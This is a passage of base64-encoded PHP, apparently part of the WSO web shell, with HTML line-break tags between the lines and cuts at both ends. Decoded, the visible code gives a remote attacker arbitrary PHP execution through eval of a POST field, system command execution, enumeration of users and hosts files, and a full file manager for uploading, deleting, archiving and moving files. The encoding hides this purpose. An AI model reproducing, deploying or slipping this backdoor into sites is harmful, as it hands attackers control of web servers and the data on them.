/&gt;aCgkaXRlbSkpCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRl&lt;br /&gt;bTsKICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdEb3dubG9hZGVycycsIGlt&lt;br /&gt;cGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICAgICAgZWNobyAnPGJyLz4n&lt;br /&gt;OwogICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ0hERCBzcGFjZScsIHdzb0V4&lt;br /&gt;KCdkZiAtaCcpKTsKICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdIb3N0cycs&lt;br /&gt;IEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9ob3N0cycpKTsKICAgICAgICAgICAg&lt;br /&gt;ICAgIGVjaG8gJzxici8+PHNwYW4+cG9zaXhfZ2V0cHd1aWQgKCJSZWFkIiAvZXRj&lt;br /&gt;L3Bhc3N3ZCk8L3NwYW4+PHRhYmxlPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51&lt;br /&gt;bGwsIjUiLHRoaXMucGFyYW0xLnZhbHVlLHRoaXMucGFyYW0yLnZhbHVlKTtyZXR1&lt;br /&gt;cm4gZmFsc2U7XCc+PHRyPjx0ZD5Gcm9tPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4&lt;br /&gt;dCBuYW1lPXBhcmFtMSB2YWx1ZT0wPjwvdGQ+PC90cj48dHI+PHRkPlRvPC90ZD48&lt;br /&gt;dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMiB2YWx1ZT0xMDAwPjwvdGQ+&lt;br /&gt;PC90cj48L3RhYmxlPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9y&lt;br /&gt;bT4nOwogICAgICAgICAgICAgICAgaWYgKGlzc2V0ICgkX1BPU1RbJ3AyJ10sICRf&lt;br /&gt;UE9TVFsncDMnXSkgJiYgaXNfbnVtZXJpYygkX1BPU1RbJ3AyJ10pICYmIGlzX251&lt;br /&gt;bWVyaWMoJF9QT1NUWydwMyddKSkgewogICAgICAgICAgICAgICAgICAgICR0ZW1w&lt;br /&gt;ID0gIiI7CiAgICAgICAgICAgICAgICAgICAgZm9yKDskX1BPU1RbJ3AyJ10gPD0g&lt;br /&gt;JF9QT1NUWydwMyddOyRfUE9TVFsncDInXSsrKSB7CiAgICAgICAgICAgICAgICAg&lt;br /&gt;ICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoJF9QT1NUWydwMiddKTsKICAg&lt;br /&gt;ICAgICAgICAgICAgICAgICAgICAgaWYgKCR1aWQpCiAgICAgICAgICAgICAgICAg&lt;br /&gt;ICAgICAgICAgICAkdGVtcCAuPSBqb2luKCc6JywkdWlkKS4iXG4iOwogICAgICAg&lt;br /&gt;ICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBlY2hvICc8YnIvPic7&lt;br /&gt;CiAgICAgICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ1VzZXJzJywgJHRlbXAp&lt;br /&gt;OwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9Cgl9IGVsc2UgewoJCXdz&lt;br /&gt;b1NlY1BhcmFtKCdPUyBWZXJzaW9uJyx3c29FeCgndmVyJykpOwoJCXdzb1NlY1Bh&lt;br /&gt;cmFtKCdBY2NvdW50IFNldHRpbmdzJyx3c29FeCgnbmV0IGFjY291bnRzJykpOwoJ&lt;br /&gt;CXdzb1NlY1BhcmFtKCdVc2VyIEFjY291bnRzJyx3c29FeCgnbmV0IHVzZXInKSk7&lt;br /&gt;Cgl9CgllY2hvICc8L2Rpdj4nOwoJd3NvRm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFj&lt;br /&gt;dGlvblBocCgpIHsKCWlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgewogICAgICAg&lt;br /&gt;IFdTT3NldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4&lt;br /&gt;JywgdHJ1ZSk7CgkJb2Jfc3RhcnQoKTsKCQlldmFsKCRfUE9TVFsncDEnXSk7CgkJ&lt;br /&gt;JHRlbXAgPSAiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1BocE91dHB1dCcpLnN0&lt;br /&gt;eWxlLmRpc3BsYXk9Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1BocE91dHB1&lt;br /&gt;dCcpLmlubmVySFRNTD0nIiAuIGFkZGNzbGFzaGVzKGh0bWxzcGVjaWFsY2hhcnMo&lt;br /&gt;b2JfZ2V0X2NsZWFuKCkpLCAiXG5cclx0XFwnXDAiKSAuICInO1xuIjsKCQllY2hv&lt;br /&gt;IHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOwoJCWV4aXQ7Cgl9CiAgICBpZihl&lt;br /&gt;bXB0eSgkX1BPU1RbJ2FqYXgnXSkgJiYgIWVtcHR5KCRfUE9TVFsncDEnXSkpCiAg&lt;br /&gt;ICAgICAgV1NPc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4g&lt;br /&gt;J2FqYXgnLCAwKTsKCgl3c29IZWFkZXIoKTsKCWlmKGlzc2V0KCRfUE9TVFsncDIn&lt;br /&gt;XSkgJiYgKCRfUE9TVFsncDInXSA9PSAnaW5mbycpKSB7CgkJZWNobyAnPGgxPlBI&lt;br /&gt;UCBpbmZvPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHN0eWxlPi5wIHtjb2xvcjoj&lt;br /&gt;MDAwO308L3N0eWxlPic7CgkJb2Jfc3RhcnQoKTsKCQlwaHBpbmZvKCk7CgkJJHRt&lt;br /&gt;cCA9IG9iX2dldF9jbGVhbigpOwogICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2Uo&lt;br /&gt;YXJyYXkgKAogICAgICAgICAgICAnIShib2R5fGE6XHcrfGJvZHksIHRkLCB0aCwg&lt;br /&gt;aDEsIGgyKSB7Lip9IW1zaVUnLAogICAgICAgICAgICAnIXRkLCB0aCB7KC4qKX0h&lt;br /&gt;bXNpVScsCiAgICAgICAgICAgICchPGltZ1tePl0rPiFtc2lVJywKICAgICAgICAp&lt;br /&gt;LCBhcnJheSAoCiAgICAgICAgICAgICcnLAogICAgICAgICAgICAnLmUsIC52LCAu&lt;br /&gt;aCwgLmggdGggeyQxfScsCiAgICAgICAgICAgICcnCiAgICAgICAgKSwgJHRtcCk7&lt;br /&gt;CgkJZWNobyBzdHJfcmVwbGFjZSgnPGgxJywnPGgyJywgJHRtcCkgLic8L2Rpdj48&lt;br /&gt;YnI+JzsKCX0KICAgIGVjaG8gJzxoMT5FeGVjdXRpb24gUEhQLWNvZGU8L2gxPjxk&lt;br /&gt;aXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPXBmIG1ldGhvZD1wb3N0IG9uc3Vi&lt;br /&gt;bWl0PSJpZih0aGlzLmFqYXguY2hlY2tlZCl7YShcJ1BocFwnLG51bGwsdGhpcy5j&lt;br /&gt;b2RlLnZhbHVlKTt9ZWxzZXtnKFwnUGhwXCcsbnVsbCx0aGlzLmNvZGUudmFsdWUs&lt;br /&gt;XCdcJyk7fXJldHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBuYW1lPWNvZGUgY2xhc3M9&lt;br /&gt;YmlnYXJlYSBpZD1QaHBDb2RlPicuKCFlbXB0eSgkX1BPU1RbJ3AxJ10pP2h0bWxz&lt;br /&gt;cGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKTonJykuJzwvdGV4dGFyZWE+PGlucHV0&lt;br /&gt;IHR5cGU9c3VibWl0IHZhbHVlPUV2YWwgc3R5bGU9Im1hcmdpbi10b3A6NXB4Ij4n&lt;br /&gt;OwoJZWNobyAnIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0x&lt;br /&gt;ICcuKCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/&lt;br /&gt;J2NoZWNrZWQnOicnKS4nPiBzZW5kIHVzaW5nIEFKQVg8L2Zvcm0+PHByZSBpZD1Q&lt;br /&gt;aHBPdXRwdXQgc3R5bGU9IicuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6&lt;br /&gt;bm9uZTsnOicnKS4nbWFyZ2luLXRvcDo1cHg7IiBjbGFzcz1tbDE+JzsKCWlmKCFl&lt;br /&gt;bXB0eSgkX1BPU1RbJ3AxJ10pKSB7CgkJb2Jfc3RhcnQoKTsKCQlldmFsKCRfUE9T&lt;br /&gt;VFsncDEnXSk7CgkJZWNobyBodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigp&lt;br /&gt;KTsKCX0KCWVjaG8gJzwvcHJlPjwvZGl2Pic7Cgl3c29Gb290ZXIoKTsKfQoKZnVu&lt;br /&gt;Y3Rpb24gYWN0aW9uRmlsZXNNYW4oKSB7CiAgICBpZiAoIWVtcHR5ICgkX0NPT0tJ&lt;br /&gt;RVsnZiddKSkKICAgICAgICAkX0NPT0tJRVsnZiddID0gQHVuc2VyaWFsaXplKCRf&lt;br /&gt;Q09PS0lFWydmJ10pOwogICAgCglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewoJ&lt;br /&gt;CXN3aXRjaCgkX1BPU1RbJ3AxJ10pIHsKCQkJY2FzZSAndXBsb2FkRmlsZSc6CgkJ&lt;br /&gt;CQlpZighQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1l&lt;br /&gt;J10sICRfRklMRVNbJ2YnXVsnbmFtZSddKSkKCQkJCQllY2hvICJDYW4ndCB1cGxv&lt;br /&gt;YWQgZmlsZSEiOwoJCQkJYnJlYWs7CgkJCWNhc2UgJ21rZGlyJzoKCQkJCWlmKCFA&lt;br /&gt;bWtkaXIoJF9QT1NUWydwMiddKSkKCQkJCQllY2hvICJDYW4ndCBjcmVhdGUgbmV3&lt;br /&gt;IGRpciI7CgkJCQlicmVhazsKCQkJY2FzZSAnZGVsZXRlJzoKCQkJCWZ1bmN0aW9u&lt;br /&gt;IGRlbGV0ZURpcigkcGF0aCkgewoJCQkJCSRwYXRoID0gKHN1YnN0cigkcGF0aCwt&lt;br /&gt;MSk9PScvJykgPyAkcGF0aDokcGF0aC4nLyc7CgkJCQkJJGRoICA9IG9wZW5kaXIo&lt;br /&gt;JHBhdGgpOwoJCQkJCXdoaWxlICggKCRpdGVtID0gcmVhZGRpcigkZGgpICkgIT09&lt;br /&gt;IGZhbHNlKSB7CgkJCQkJCSRpdGVtID0gJHBhdGguJGl0ZW07CgkJCQkJCWlmICgg&lt;br /&gt;KGJhc2VuYW1lKCRpdGVtKSA9PSAiLi4iKSB8fCAoYmFzZW5hbWUoJGl0ZW0pID09&lt;br /&gt;ICIuIikgKQoJCQkJCQkJY29udGludWU7CgkJCQkJCSR0eXBlID0gZmlsZXR5cGUo&lt;br /&gt;JGl0ZW0pOwoJCQkJCQlpZiAoJHR5cGUgPT0gImRpciIpCgkJCQkJCQlkZWxldGVE&lt;br /&gt;aXIoJGl0ZW0pOwoJCQkJCQllbHNlCgkJCQkJCQlAdW5saW5rKCRpdGVtKTsKCQkJ&lt;br /&gt;CQl9CgkJCQkJY2xvc2VkaXIoJGRoKTsKCQkJCQlAcm1kaXIoJHBhdGgpOwoJCQkJ&lt;br /&gt;fQoJCQkJaWYoaXNfYXJyYXkoQCRfUE9TVFsnZiddKSkKCQkJCQlmb3JlYWNoKCRf&lt;br /&gt;UE9TVFsnZiddIGFzICRmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRm&lt;br /&gt;ID09ICcuLicpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsK&lt;br /&gt;CQkJCQkJJGYgPSB1cmxkZWNvZGUoJGYpOwoJCQkJCQlpZihpc19kaXIoJGYpKQoJ&lt;br /&gt;CQkJCQkJZGVsZXRlRGlyKCRmKTsKCQkJCQkJZWxzZQoJCQkJCQkJQHVubGluaygk&lt;br /&gt;Zik7CgkJCQkJfQoJCQkJYnJlYWs7CgkJCWNhc2UgJ3Bhc3RlJzoKCQkJCWlmKCRf&lt;br /&gt;Q09PS0lFWydhY3QnXSA9PSAnY29weScpIHsKCQkJCQlmdW5jdGlvbiBjb3B5X3Bh&lt;br /&gt;c3RlKCRjLCRzLCRkKXsKCQkJCQkJaWYoaXNfZGlyKCRjLiRzKSl7CgkJCQkJCQlt&lt;br /&gt;a2RpcigkZC4kcyk7CgkJCQkJCQkkaCA9IEBvcGVuZGlyKCRjLiRzKTsKCQkJCQkJ&lt;br /&gt;CXdoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkKCQkJCQkJCQlp&lt;br /&gt;ZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkKCQkJCQkJCQkJY29weV9w&lt;br /&gt;YXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7CgkJCQkJCX0gZWxzZWlmKGlz&lt;br /&gt;X2ZpbGUoJGMuJHMpKQoJCQkJCQkJQGNvcHkoJGMuJHMsICRkLiRzKTsKCQkJCQl9&lt;br /&gt;CgkJCQkJZm9yZWFjaCgkX0NPT0tJRVsnZiddIGFzICRmKQoJCQkJCQljb3B5X3Bh&lt;br /&gt;c3RlKCRfQ09PS0lFWydjJ10sJGYsICRHTE9CQUxTWydjd2QnXSk7CgkJCQl9IGVs&lt;br /&gt;c2VpZigkX0NPT0tJRVsnYWN0J10gPT0gJ21vdmUnKSB7CgkJCQkJZnVuY3Rpb24g&lt;br /&gt;bW92ZV9wYXN0ZSgkYywkcywkZCl7CgkJCQkJCWlmKGlzX2RpcigkYy4kcykpewoJ&lt;br /&gt;CQkJCQkJbWtkaXIoJGQuJHMpOwoJCQkJCQkJJGggPSBAb3BlbmRpcigkYy4kcyk7&lt;br /&gt;CgkJCQkJCQl3aGlsZSAoKCRmID0gQHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpCgkJ&lt;br /&gt;CQkJCQkJaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpCgkJCQkJCQkJ&lt;br /&gt;CWNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOwoJCQkJCQl9IGVs&lt;br /&gt;c2VpZihAaXNfZmlsZSgkYy4kcykpCgkJCQkJCQlAY29weSgkYy4kcywgJGQuJHMp&lt;br /&gt;OwoJCQkJCX0KCQkJCQlmb3JlYWNoKCRfQ09PS0lFWydmJ10gYXMgJGYpCgkJCQkJ&lt;br /&gt;CUByZW5hbWUoJF9DT09LSUVbJ2MnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsK&lt;br /&gt;CQkJCX0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAnemlwJykgewoJCQkJCWlm&lt;br /&gt;KGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7CiAgICAgICAgICAgICAgICAg&lt;br /&gt;ICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwogICAgICAgICAgICAgICAg&lt;br /&gt;ICAgICAgICBpZiAoJHppcC0+b3BlbigkX1BPU1RbJ3AyJ10sIDEpKSB7CiAgICAg&lt;br /&gt;ICAgICAgICAgICAgICAgICAgICAgICBjaGRpcigkX0NPT0tJRVsnYyddKTsKICAg&lt;br /&gt;ICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9DT09LSUVbJ2YnXSBh&lt;br /&gt;cyAkZikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmID09&lt;br /&gt;ICcuLicpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRp&lt;br /&gt;bnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKEBpc19maWxl&lt;br /&gt;KCRfQ09PS0lFWydjJ10uJGYpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAg&lt;br /&gt;ICAgICAgICAkemlwLT5hZGRGaWxlKCRfQ09PS0lFWydjJ10uJGYsICRmKTsKICAg&lt;br /&gt;ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoQGlzX2RpcigkX0NP&lt;br /&gt;T0tJRVsnYyddLiRmKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg&lt;br /&gt;ICAgICAkaXRlcmF0b3IgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihu&lt;br /&gt;ZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGYuJy8nKSk7CiAgICAgICAg&lt;br /&gt;ICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRpdGVyYXRvciBh&lt;br /&gt;cyAka2V5PT4kdmFsdWUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg&lt;br /&gt;ICAgICAgICAgICR6aXAtPmFkZEZpbGUocmVhbHBhdGgoJGtleSksICRrZXkpOwog&lt;br /&gt;ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg&lt;br /&gt;ICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAg&lt;br /&gt;ICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkaXIoJEdMT0JBTFNb&lt;br /&gt;J2N3ZCddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmNsb3Nl&lt;br /&gt;KCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAg&lt;br /&gt;ICB9CgkJCQl9IGVsc2VpZigkX0NPT0tJRVsnYWN0J10gPT0gJ3VuemlwJykgewoJ&lt;br /&gt;CQkJCWlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7CiAgICAgICAgICAg&lt;br /&gt;ICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwogICAgICAgICAg&lt;br /&gt;ICAgICAgICAgICAgICBmb3JlYWNoKCRfQ09PS0lFWydmJ10gYXMgJGYpIHsKICAg&lt;br /&gt;ICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR6aXAtPm9wZW4oJF9DT09LSUVb&lt;br /&gt;J2MnXS4kZikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlw&lt;br /&gt;LT5leHRyYWN0VG8oJEdMT0JBTFNbJ2N3ZCddKTsKICAgICAgICAgICAgICAgICAg&lt;br /&gt;ICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpOwogICAgICAgICAgICAgICAgICAg&lt;br /&gt;ICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg&lt;br /&gt;ICAgICAgICAgfQoJCQkJfSBlbHNlaWYoJF9DT09LSUVbJ2FjdCddID09ICd0YXIn&lt;br /&gt;KSB7CiAgICAgICAgICAgICAgICAgICAgY2hkaXIoJF9DT09LSUVbJ2MnXSk7CiAg&lt;br /&gt;ICAgICAgICAgICAgICAgICAgJF9DT09LSUVbJ2YnXSA9IGFycmF5X21hcCgnZXNj&lt;br /&gt;YXBlc2hlbGxhcmcnLCAkX0NPT0tJRVsnZiddKTsKICAgICAgICAgICAgICAgICAg&lt;br /&gt;ICB3c29FeCgndGFyIGNmenYgJyAuIGVzY2FwZXNoZWxsYXJnKCRfUE9TVFsncDIn&lt;br /&gt;XSkgLiAnICcgLiBpbXBsb2RlKCcgJywgJF9DT09LSUVbJ2YnXSkpOwogICAgICAg&lt;br /&gt;ICAgICAgICAgICAgIGNoZGlyKCRHTE9CQUxTWydjd2QnXSk7CgkJCQl9CgkJCQl1&lt;br /&gt;bnNldCgkX0NPT0tJRVsnZiddKTsKICAgICAgICAgICAgICAgIHNldGNvb2tpZSgn&lt;br /&gt;ZicsICcnLCB0aW1lKCkgLSAzNjAwKTsKCQkJCWJyZWFrOwoJCQlkZWZhdWx0Ogog&lt;br /&gt;ICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKCQkJCQlX&lt;br /&gt;U09zZXRjb29raWUoJ2FjdCcsICRfUE9TVFsncDEnXSk7CgkJCQkJV1NPc2V0Y29v&lt;br /&gt;a2llKCdmJywgc2VyaWFsaXplKEAkX1BPU1RbJ2YnXSkpOwoJCQkJCVdTT3NldGNv&lt;br /&gt;b2tpZSgnYycsIEAkX1BPU1RbJ2MnXSk7CgkJCQl9CgkJCQlicmVhazsKCQl9Cgl9&lt;br /&gt;CiAgICB3c29IZWFkZXIoKTsKCWVjaG8gJzxoMT5GaWxlIG1hbmFnZXI8L2gxPjxk&lt;br /&gt;aXYgY2xhc3M9Y29udGVudD48c2NyaXB0PnAxXz1wMl89cDNfPSIiOzwvc2NyaXB0&lt;br /&gt;Pic7CgkkZGlyQ29udGVudCA9IHdzb1NjYW5kaXIoaXNzZXQoJF9QT1NUWydjJ10p&lt;br /&gt;PyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7CglpZigkZGlyQ29udGVudCA9&lt;br /&gt;PT0gZmFsc2UpIHsJZWNobyAnQ2FuXCd0IG9wZW4gdGhpcyBmb2xkZXIhJzt3c29G&lt;br /&gt;b290ZXIoKTsgcmV0dXJuOyB9CglnbG9iYWwgJHNvcnQ7Cgkkc29ydCA9IGFycmF5&lt;br /&gt;KCduYW1lJywgMSk7CglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewoJCWlmKHBy&lt;br /&gt;ZWdfbWF0Y2goJyFzXyhbQS16XSspXyhcZHsxfSkhJywgJF9QT1NUWydwMSddLCAk&lt;br /&gt;bWF0Y2gpKQoJCQkkc29ydCA9IGFycmF5KCRtYXRjaFsxXSwgKGludCkkbWF0Y2hb&lt;br /&gt;Ml0pOwoJfQplY2hvICI8c2NyaXB0PgoJZnVuY3Rpb24gc2EoKSB7CgkJZm9yKGk9&lt;br /&gt;MDtpPGQuZmlsZXMuZWxlbWVudHMubGVuZ3RoO2krKykKCQkJaWYoZC5maWxlcy5l&lt;br /&gt;bGVtZW50c1tpXS50eXBlID09ICdjaGVja2JveCcpCgkJCQlkLmZpbGVzLmVsZW1l&lt;br /&gt;bnRzW2ldLmNoZWNrZWQgPSBkLmZpbGVzLmVsZW1lbnRzWzBdLmNoZWNrZWQ7Cgl9&lt;br /&gt;Cjwvc2NyaXB0Pgo8dGFibGUgd2lkdGg9JzEwMCUnIGNsYXNzPSdtYWluJyBjZWxs&lt;br /&gt;c3BhY2luZz0nMCcgY2VsbHBhZGRpbmc9JzInPgo8Zm9ybSBuYW1lPWZpbGVzIG1l&lt;br /&gt;dGhvZD1wb3N0Pjx0cj48dGggd2lkdGg9JzEzcHgnPjxpbnB1dCB0eXBlPWNoZWNr&lt;br /&gt;Ym94IG9uY2xpY2s9J3NhKCknIGNsYXNzPWNoa2J4PjwvdGg+PHRoPjxhIGhyZWY9&lt;br /&gt;JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX25hbWVfIi4oJHNv&lt;br /&gt;cnRbMV0/MDoxKS4iXCIpJz5OYW1lPC9hPjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9u&lt;br /&gt;Y2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX3NpemVfIi4oJHNvcnRbMV0/&lt;br /&gt;MDoxKS4iXCIpJz5TaXplPC9hPjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9&lt;br /&gt;J2coXCJGaWxlc01hblwiLG51bGwsXCJzX21vZGlmeV8iLigkc29ydFsxXT8wOjEp&lt;br /&gt;LiJcIiknPk1vZGlmeTwvYT48L3RoPjx0aD5Pd25lci9Hcm91cDwvdGg+PHRoPjxh&lt;br /&gt;IGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX3Blcm1z&lt;br /&gt;XyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+UGVybWlzc2lvbnM8L2E+PC90aD48dGg+&lt;br /&gt;QWN0aW9uczwvdGg+PC90cj4iOwoJJGRpcnMgPSAkZmlsZXMgPSBhcnJheSgpOwoJ&lt;br /&gt;JG4gPSBjb3VudCgkZGlyQ29udGVudCk7Cglmb3IoJGk9MDskaTwkbjskaSsrKSB7&lt;br /&gt;CgkJJG93ID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGRpckNvbnRlbnRb&lt;br /&gt;JGldKSk7CgkJJGdyID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGRpckNv&lt;br /&gt;bnRlbnRbJGldKSk7CgkJJHRtcCA9IGFycmF5KCduYW1lJyA9PiAkZGlyQ29udGVu&lt;br /&gt;dFskaV0sCgkJCQkJICdwYXRoJyA9PiAkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRl&lt;br /&gt;bnRbJGldLAoJCQkJCSAnbW9kaWZ5JyA9PiBkYXRlKCdZLW0tZCBIOmk6cycsIEBm&lt;br /&gt;aWxlbXRpbWUoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSksCgkJ&lt;br /&gt;CQkJICdwZXJtcycgPT4gd3NvUGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10gLiAk&lt;br /&gt;ZGlyQ29udGVudFskaV0pLAoJCQkJCSAnc2l6ZScgPT4gQGZpbGVzaXplKCRHTE9C&lt;br /&gt;QUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pLAoJCQkJCSAnb3duZXInID0+ICRv&lt;br /&gt;d1snbmFtZSddPyRvd1snbmFtZSddOkBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGld&lt;br /&gt;KSwKCQkJCQkgJ2dyb3VwJyA9PiAkZ3JbJ25hbWUnXT8kZ3JbJ25hbWUnXTpAZmls&lt;br /&gt;ZWdyb3VwKCRkaXJDb250ZW50WyRpXSkKCQkJCQkpOwoJCWlmKEBpc19maWxlKCRH&lt;br /&gt;TE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpCgkJCSRmaWxlc1tdID0g&lt;br /&gt;YXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdmaWxlJykpOwoJCWVs&lt;br /&gt;c2VpZihAaXNfbGluaygkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0p&lt;br /&gt;KQoJCQkkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+&lt;br /&gt;ICdsaW5rJywgJ2xpbmsnID0+IHJlYWRsaW5rKCR0bXBbJ3BhdGgnXSkpKTsKCQll&lt;br /&gt;bHNlaWYoQGlzX2RpcigkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0p&lt;br /&gt;JiYgKCRkaXJDb250ZW50WyRpXSAhPSAiLiIpKQoJCQkkZGlyc1tdID0gYXJyYXlf&lt;br /&gt;bWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdkaXInKSk7Cgl9CgkkR0xPQkFM&lt;br /&gt;U1snc29ydCddID0gJHNvcnQ7CglmdW5jdGlvbiB3c29DbXAoJGEsICRiKSB7CgkJ&lt;br /&gt;aWYoJEdMT0JBTFNbJ3NvcnQnXVswXSAhPSAnc2l6ZScpCgkJCXJldHVybiBzdHJj&lt;br /&gt;bXAoc3RydG9sb3dlcigkYVskR0xPQkFMU1snc29ydCddWzBdXSksIHN0cnRvbG93&lt;br /&gt;ZXIoJGJbJEdMT0JBTFNbJ3NvcnQnXVswXV0pKSooJEdMT0JBTFNbJ3NvcnQnXVsx&lt;br /&gt;XT8xOi0xKTsKCQllbHNlCgkJCXJldHVybiAoKCRhWydzaXplJ10gPCAkYlsnc2l6&lt;br /&gt;ZSddKSA/IC0xIDogMSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7Cgl9Cgl1&lt;br /&gt;c29ydCgkZmlsZXMsICJ3c29DbXAiKTsKCXVzb3J0KCRkaXJzLCAid3NvQ21wIik7&lt;br /&gt;CgkkZmlsZXMgPSBhcnJheV9tZXJnZSgkZGlycywgJGZpbGVzKTsKCSRsID0gMDsK&lt;br /&gt;CWZvcmVhY2goJGZpbGVzIGFzICRmKSB7CgkJZWNobyAnPHRyJy4oJGw/JyBjbGFz&lt;br /&gt;cz1sMSc6JycpLic+PHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9ImZbXSIg&lt;br /&gt;dmFsdWU9IicudXJsZW5jb2RlKCRmWyduYW1lJ10pLiciIGNsYXNzPWNoa2J4Pjwv&lt;br /&gt;dGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSInLigoJGZbJ3R5cGUnXT09J2ZpbGUn&lt;br /&gt;KT8nZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUn&lt;br /&gt;XSkuJ1wnLCBcJ3ZpZXdcJykiPicuaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSdd&lt;br /&gt;KTonZyhcJ0ZpbGVzTWFuXCcsXCcnLiRmWydwYXRoJ10uJ1wnKTsiICcgLiAoZW1w&lt;br 